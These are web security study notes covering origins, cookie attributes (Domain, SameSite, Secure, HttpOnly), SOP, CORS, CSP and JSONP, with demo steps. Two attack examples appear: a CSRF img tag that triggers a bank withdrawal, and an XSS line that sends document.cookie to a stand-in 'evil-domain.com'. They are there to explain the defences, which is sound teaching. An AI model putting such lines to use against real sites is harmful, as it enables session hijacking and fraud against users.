Web Fundamentals Notes

Definitions

Domain vs Subdomain

➤ A subdomain is part of a larger domain

Examples

℧

In sub.main.org , sub is the subdomain of main.org

℧

In main.org, main is a subdomain of the org TLD (top level domain)

Site

➤ Site is determined by the registrable domain of the host within the Origin

➤ Defined by Public Suffix list

➤ Subdomains of the same site are considered the same site

➤ Protocol and Port are not relevant

Examples of Same Site

℧

https://dev.main.org/en-US/docs/

https://about.main.org/en-US/

The registrable domain here is main.org

℧

www.web.dev

static.web.dev

The registrable domain here is web.dev

℧

http://example.com:8080

https://example.com

The registrable domain here is example.com

Examples of Different Site

℧

https://main.org

https://cool.com

There is no common registrable domain here

Origin

➤ Resource defined by 3 components of the URL:

  • Scheme (protocol)
  • Host (domain)
  • Port

➤ https://example.com:8080/about

➤ Two resources have the same origin if all 3 components match.

Examples of Same Origin

℧
  • http://example.com/app1
  • http://example.com/app2
  • http://example.com:80
  • http://example.com

Protocol, Host, and Port are the same for all above URLs

Examples of Different Origin

℧
  • http://example.com/app1
  • https://example.com/app2

Protocols are different

℧
  • http://example.com
  • http://www.example.com
  • http://myapp.example.com

Hosts are different

℧
  • http://example.com
  • http://www.example.com:8080

Ports are different

Cookie Access Behavior

➤ Cookies work on the concept of Sites and domains, NOT Origins

➤ Cookies do NOT obey the SOP (Same Origin Policy), they were created before SOP

Domain, HostOnly, Path attributes define the scope of a cookie

Domain attribute

➤ Define which hosts are allowed to receive cookie

➤ If unspecified, default to same origin that set the cookie, excluding subdomains (sets HostOnly attribute to true)

➤ If specified, subdomains are ALWAYS included (sets HostOnly attribute to False)

Examples

℧

If cookie set by main.org has Domain unspecfied, cookie CANNOT be accessed by sub.main.org subdomain (HostOnly will be set to true)

℧

If cookie set by main.org has Domain=main.org, cookie can be accessed by sub.main.org subdomain (HostOnly will be set to false)

Path attribute

➤ Indicates a URL path that must exist in the requested URL in order to send the Cookie

➤ Never rely on it, set to root "/"

Examples

℧

If Path=/docs, cookie will be sent on:

  • /docs
  • /docs/about
  • /docs/about/what

Cookies can only be accessed by equal or more specific domains

Examples

℧

sub.main.org cookies CANNOT be accessed by main.org domain because main.org is less specific

℧

If main.org cookies have Domain=main.org, sub.main.org can access them because sub.main.org is more specific

℧

If main.org cookies have Domain unspecified, sub.main.org subdomain CANNOT access them and will only be available to main.org domain

All accessible cookies by a URL will be sent on every request to a URL

Examples

If you have 5 cookies for main.org and you navigate to main.org, you will send those 5 cookies in the request. If you then click on a link to go to main.org/about, you will send those 5 cookies again. If you then click on a link to go to main.org/shopping, you will send those 5 cookies again.

SameSite attribute

➤ Lets servers require that a cookie NOT be sent with cross-site requests

➤ Remember a Site only cares about the domains (http://example.com:8080 and https://example.com are considered the same Site)

➤ Helps mitigate CSRF (cross-site request forgery attacks)

➤ 3 possible values:

  • Strict

    Sent only in first party context (like navigating within current domain)

  • Lax

    Same as Strict, but allows cookie to be sent if user navigates to URL from external site (by clicking on a link for example)

  • None

    No restrictions on cross-origin requests

Examples

℧

If SameSite=Strict and user following a link from another site/email, cookie is NOT sent

  1. ➟ Go to this site to set SameSite=Strict cookie
  2. ➟ Follow this link from the same website and see that the cookie is NOT sent in the header
  3. ➟ In the new tab you just opened, go to the URL bar and hit enter to see that the cookie IS now sent in a first party context (navigating within the same domain)
℧

If SameSite=Strict and picture is being requested on another site, cookie is NOT sent

Picture of dog below:

dog
  1. ➟ Open up the Network Tab, refresh this page, and view the Network request for the dog.jpeg image resource. You will see the cookie is NOT sent in the headers for this request.
℧

If SameSite=Lax and user following a link from another site/email, cookie IS sent

  1. ➟ Go to this site to set SameSite=Lax cookie
  2. ➟ Follow this link from the same website and see that cookie IS sent in the header
℧

If SameSite=Lax and picture is being requested on another site, cookie is NOT sent

  1. ➟ Open up the Network Tab,refresh this page, and view the Network request for the dog.jpeg image resource. You will see the cookie is NOT sent in the headers for this request.
℧

If SameSite=None and picture is being requested on another site, cookie IS sent

  1. ➟ Go to this site to set SameSite=None cookie
  2. ➟ Open up the Network tab, refresh this page, and view the Network request for the dog.jpeg image resource. You will see the cookie IS sent in the headers for this request.

Examples of CSRF prevented by Samesite

℧

Attacker includes image on forum that is really a request to your bank's server

<img src='https://bank.example.com/withdraw?from=bob'>

℧

Attacker includes form on their attack page being submitted to your bank on page on load

Impact on Trackers due to SameSite

➤ A Tracking Pixel is a common implementation

➤ Tracking Pixel can contain many embedded resources (image or inline scripts usually) from a different website

➤ script text="text/javascript" function that may load a third party script or use methods from a previously loaded third party script

<img height=1 width=1 border=0 style='display:none;'' src='//tracking.website.com/trackpath?track_param=1000'>

➤ Cookies set by Tracking Site would NO LONGER be sent with third party network requests unless SameSite=None

Secure Attribute

➤ Cookie only sent over HTTPS protocol

➤ Helps mitigate MITM (man-in-the-middle) attacks

➤ Should not be relied upon and sensitive data should not be stored in cookies

Examples

℧

Cookie with Secure attribute will NOT be SENT to HTTP origin

  1. ➟ Go to this HTTPS site to set a Secure cookie
  2. ➟ Follow this HTTPS link from this website and see that cookie IS sent in the header
  3. ➟ Follow this HTTP link from this website and see that cookie is NOT sent in the header
℧

Cookie with Secure attribute CANNOT be SET by HTTP origin

  1. ➟ Go to this site to clear previously set Secure cookie
  2. ➟ Go to this HTTP site to try setting a Secure cookie (does not work)
  3. ➟ Follow this HTTP link from this website and see that cookie is NOT sent in the header
  4. ➟ Follow this HTTPS link from this website and see that cookie is NOT sent in the header

HTTPOnly Attribute

➤ Makes cookie inaccessible to JavaScript Document.cookie API

➤ Helps mitigate XSS (cross-site scripting attacks)

Examples

℧

Cannot access cookie set by JavaScript

  1. ➟ Go to this site to set a HttpOnly cookie
  2. ➟ Follow this link to verify the HttpOnly cookie was set
  3. ➟ Follow this link to view the cookies that are available through JavaScript. Note the HttpOnly cookie is NOT present

Example of XSS prevented by HTTPOnly

℧

Malicious code loaded that makes request to attacker's server with the cookie (obtained through JavaScript) as query

(new Image()).src = 'http://www.evil-domain.com/steal-cookie?cookie=' + document.cookie;

SOP (Same Origin Policy) and CORS (Cross-Origin Resource Sharing)

SOP behavior

➤ Security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin

➤ fetch API built obeying SOP

➤ Network request is ALWAYS sent, what is being determined if the response can be READ

Sites CAN:

  • ➤ Link to other sites
  • ➤ Embed resources form other sites
  • ➤ Submit forms to other sites

Sites CANNOT:

  • ➤ Modify content from other sites
  • ➤ Read data from other sites (meaning put into variable and do something with it)

Cross-Origin embedded resources allowed

  • ➤ JavaScript with script src='...'
  • ➤ CSS with link rel='stylesheet' href='...'
  • ➤ img tags
  • ➤ iframes

Ways to relax SOP (non-CORS)

document.domain

➤ Bad Idea

➤ Attacker can set same domain as target domain

Encode data in URL fragment identifiers '#'

➤ Parent can navigate child iframes without following links or refreshing page

➤ Child can poll for changes to fragment identifier

postMessage API

➤ send strings and data cross-origin

➤ Sender must specify origin which is permitted to receive message

➤ Receiver must specify origin which is permitted to send message

CORS behavior

➤ Relaxes SOP

➤ Uses additional HTTP headers to tell browsers to give web app running at one origin access to selected resources from another origin

➤ Credentials such as Cookies are by default NOT sent (specific flag has to be set)

Simple Requests

➤ Use one of the following methods in the request:

  • GET
  • HEAD
  • POST

➤ Allowed Content-Type header

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

➤ Limited custom HTTP headers

➤ Server response needs to send back Access-Control-Allow-Origin header that allows requesting domain to use

Examples of CORS

℧
Server not configured with CORS by default
  1. ➟ Click the button below to send a fetch request some JSON data from the same origin
  2. ➟ You will see a bunch of JSON data displayed above from the same origin resource
  3. ➟ Click the button below to send a fetch request for some JSON data from a different origin without CORS enabled
  4. ➟ Open up the console and you will see errors related to SOP and the absence of the Access-Control-Allow-Origin header
℧
Server configured with CORS available to all domains
  1. ➟ Click the button below to send a fetch request for some JSON data from a different origin with CORS enabled
  2. ➟ You will see a bunch of JSON data now appear above. If you open up the Network tab and check the response headers, you will see the Access-Control-Allow-Origin flag set to '*'
℧
Server configured with resource restricted specific domains
  1. ➟ Click the button below to send a fetch request for some JSON data from a different origin with CORS restricted to certain domains
  2. ➟ Open up the console and you will see errors because the resource is restricted to certain origins

CORS Preflight Requests

➤ Happens if a non-simple method is used for a request

➤ An HTTP request using OPTIONS method is first sent to other domain to determine if real request is safe to send

➤ 2 other request headers sent along with OPTIONS request:

  • Access-Control-Request-Method
  • Access-Control-Request-Headers

➤ Server response includes the following headers:

  • Access-Control-Allow-Origin
  • Access-Control-Allow-Methods
  • Access-Control-Allow-Headers
  • Access-Control-Max-Age

Example

℧
Preflight Request because of non-simple Content-Type
  1. ➟ Click the button below to send a fetch request that requires preflight (uses Content-Type text/json)
  2. ➟ Open up the Network tab and view the requests for getJSONCORS. You should see an OPTIONS request followed by a GET request since we were using a non-simple Content-Type.
  3. ➟ In the preflight request, notice the following headers:
    • Access-Control-Allow-Origin
    • Access-Control-Request-Method
    • Access-Control-Request-Headers
  4. ➟ In the preflight response, notice the following headers:
    • Access-Control-Allow-Origin
    • Access-Control-Allow-Methods
    • Access-Control-Allow-Header
  5. ➟ In the actual GET response, notice the Access-Control-Allow-Origin header

CSP (Content Security Policy)

➤ Server response header that limits our site from making requests to other sites

➤ meta tag can also be used to configure a policy

➤ Added XSS security layer

Examples

℧

Page with No CSP configured

  1. ➟ Follow this link for a page that shows an embedded image with no CSP configured
℧

Page with CSP configured

  1. ➟ Follow this link for a page with CSP implemented as a meta tag, restricting loading of resources to its own origin only. Check the console for CSP related messages

JSONP

➤ If make request to server that is configured to handle JSONP, can pass a special parameter to tell the server about your page so that the server can send back a response your page can handle

➤ fetch API and axios package do NOT support JSONP requests

➤ Can use jQuery or npm packages


        $.ajax({
            type: 'GET',
            url: 'server.com',
            dataType: 'jsonp',
            error: (err) => {
                console.log(err)
            },
            success: (data) => {
                console.log(data)
            }
        })
                        

Examples

℧

JSONP request

  1. ➟ Click the button below to send a fetch request to a different origin with CORS not configured
  2. ➟ Open up the console and see CORS related errors
  3. ➟ Click the button below to send a JSONP request to a different origin with CORS not configured and whose response is NOT JSONP supported
  4. ➟ Open up the console and see errors from the JSONP response
  5. ➟ Click the button below to send a JSONP request to a different origin with CORS not configured and whose response IS JSONP supported
  6. ➟ You should see JSON data appear above from the JSONP response

Web Storage (LocalStorage and SessionStorage)

➤ Web Storage is separated by Origin (page can only access Web Storage data stored in same origin)